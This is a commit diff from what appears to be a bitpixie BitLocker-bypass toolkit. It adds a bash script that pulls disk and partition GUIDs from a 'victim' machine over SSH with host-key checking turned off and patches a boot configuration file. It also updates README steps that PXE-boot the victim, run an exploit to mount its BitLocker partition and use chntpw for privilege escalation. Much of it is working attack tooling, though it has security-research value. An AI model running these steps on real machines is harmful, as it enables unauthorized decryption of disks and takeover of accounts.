Added automated BCD grabber/patcher

Author: Andreas Grasser

PXE-Server/Boot/BCD-template

@@ -44,22 +44,33 @@ This will reboot the machine into Advanced Boot Options.
 There you have to click on `Use a device` and select IPv4 PXE Boot.
 
 ### Extracting the BCD file
-Extracting the (unmodified) BCD file from the EFI partition is easy:
+Boot the victim system into the initramfs using PXE boot: `./start-server.sh get-bcd <interface>`
+On the victim machine you can identify the drive containing the Windows installation (often /dev/sda).
+
+On the attacker machine execute the BCD extractor script:
 ```
-initrd:~# extract-bcd /dev/sda1
+./grab-bcd.sh /dev/sda
+[+] Info: Grabbing disk and partition GUIDs via SSH...
+[...]
+[+] Info: Created modified BCD file: PXE-Server/Boot/BCD
 ```
-The BCD file is copied to the /root/ directory.
-In the future, the BCD file will be automatically copied to the attacker machine.
+This script obtains the disk and partition GUID from the victim computer and creates a registry patch file.
+Afterwards the BCD-template file gets patched and copied to PXE-Server/Boot/BCD.
+
+Now you are ready to perform the actual attack!
+Reboot the victim system into the startup settings again.
 
 ### Breaking BitLocker
-Start the TFTP server into exploit mode (boot into downgraded Windows boot manager).
-Preform the bitpixie exploit:
+Start the TFTP server in exploit mode: `./start-server.sh exploit <interface>`.
+Log in as root and perform the bitpixie exploit on the victim machine:
 ```
 initrd:~# run-exploit /dev/sda3
 ```
 The BitLocker partition should now be mounted at /root/mnt.
 If it did not work, reboot and try it again. Sometimes the VMK is not detected / overwritten.
 
+Note: The alpine initramfs also has [chntpw](https://pkgs.alpinelinux.org/package/edge/community/x86_64/chntpw) installed for easy privilege escalation!
+
 Don't forget to unmount the file system after performing your changes: `umount /root/mnt`!
 
 ## How to set up a test environment

README.md

@@ -1,13 +1,85 @@
 #!/bin/bash
 
-# grab BCD file
-ssh -o StrictHostKeyChecking=no root@10.13.37.101 "extract-bcd /dev/sda1"
-sftp -o StrictHostKeyChecking=no root@10.13.37.101:/root/BCD BCD
+PARTITION=$1
+SEARCHSTRING1="\x12\x34\x56\x78\x13\x37\x11\x11\x13\x37\x12\x34\x56\x78\x91\x23"
+SEARCHSTRING2="\x12\x34\x56\x78\x13\x37\x22\x22\x13\x37\x12\x34\x56\x78\x91\x23"
 
-exit
+function echo-info {
+    echo -e "\e[34;1m[+]\e[0m \e[34mInfo: $1\e[0m" >&2
+}
 
-# Read the GUID of the device
-device_GUID=`sgdisk --info=3 $device | grep "unique GUID" | cut -d' ' -f 4`
+function echo-warning {
+    echo -e "\e[31;1m[!] Warning: $1\e[0m" >&2
+}
 
-echo $device_GUID
-# TODO:
+function printInfo {
+  echo -e "\e[34;1mUsage: $0 <drive>\e[0m"
+  echo -e "\e[34;1m Example: $0 /dev/sda\e[0m"
+}
+
+# I found a VBS converter for GUIDs and ported it to bash: https://learn.microsoft.com/en-us/troubleshoot/windows-server/admin-development/convert-string-guid-to-hexadecimal-string
+function GuidToHex {
+    GUID=$1
+    
+    # Remove unnecessary symbols
+    tmpGUID=`echo "$GUID" | tr -d '{}-'`
+
+    # Reorder octets
+    octetStr="${tmpGUID:6:2}"
+    octetStr+="${tmpGUID:4:2}"
+    octetStr+="${tmpGUID:2:2}"
+    octetStr+="${tmpGUID:0:2}"
+    octetStr+="${tmpGUID:10:2}"
+    octetStr+="${tmpGUID:8:2}"
+    octetStr+="${tmpGUID:14:2}"
+    octetStr+="${tmpGUID:12:2}"
+    octetStr+="${tmpGUID:16}"
+
+    # Create hex entities for sed replacement
+    hexCommaStr=$(echo "$octetStr" | sed 's/\(..\)/,\1/g')
+}
+
+
+# Exit if no device is specified
+if [[ "$1" != *"dev"* ]]; then
+    echo-warning "No drive specified!"
+    printInfo
+    exit
+fi
+
+# Get GUIDs via SSH
+echo-info "Grabbing disk and partition GUIDs via SSH..."
+# TODO: Edge case for multiple hard drives?!
+HDGPTSIG=$(ssh -tt -q -o StrictHostKeyChecking=no root@10.13.37.101 'fdisk -l | grep "Disk identifier (GUID)" | cut -d" " -f 4' 2>&1)
+PARTGUID=$(ssh -tt -q -o StrictHostKeyChecking=no root@10.13.37.101 'sgdisk --info=3 "'$PARTITION'" | grep "Partition unique GUID"  | cut -d" " -f 4' 2>&1 )
+
+# To uppercase
+HDGPTSIG=$(echo $HDGPTSIG | tr '[A-Z]' '[a-z]')
+PARTGUID=$(echo $PARTGUID | tr '[A-Z]' '[a-z]')
+
+# To Hex entities
+GuidToHex $HDGPTSIG
+HDGPTSIGHEX=$hexCommaStr
+GuidToHex $PARTGUID
+PARTGUIDHEX=$hexCommaStr
+
+echo-info "Got the following GUIDs:"
+echo "Disk identifier: $HDGPTSIG"
+echo "Partition unique GUID: $PARTGUID"
+echo ""
+
+# Create registry patch file
+echo-info "Creating registry patch file..."
+echo "Windows Registry Editor Version 5.00" > /tmp/patch.reg
+echo "" >> /tmp/patch.reg
+echo "[\Objects\{15af3c5d-ca12-11ef-ae97-b097f8aa0112}\Elements\11000001]" >> /tmp/patch.reg
+echo '"Element"=hex(3):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,06,00,00,00,00,00,00,00,48,00,00,00,00,00,00,00'"$PARTGUIDHEX"',00,00,00,00,00,00,00,00'"$HDGPTSIGHEX"',00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00' | tr -d '\r' >> /tmp/patch.reg
+
+# Copy BCD template
+echo-info "Patching BCD template with victim specific GUIDs..."
+cp -f PXE-Server/Boot/BCD-template PXE-Server/Boot/BCD
+
+# Merge patch into BCD file
+hivexregedit --merge PXE-Server/Boot/BCD /tmp/patch.reg
+
+echo-info "Created modified BCD file: PXE-Server/Boot/BCD"

grab-bcd.sh

@@ -37,11 +37,7 @@ function start-servers {
   # Start dnsmasq
   echo-info "Starting dnsmasq..."
   sudo dnsmasq --no-daemon --interface=$interface --dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h --dhcp-boot=$BOOTEFI --enable-tftp --tftp-root=$SCRIPTPATH/PXE-Server
-
-  # Start SMB Server
-  echo-info "Starting SMB server..."
-  # TODO: Actually add the SMB Server
-  # smbserver.py smb $SCRIPTPATH/PXE-Server/Boot -smb2support
+  echo-info "Stopping dnsmasq..."
 }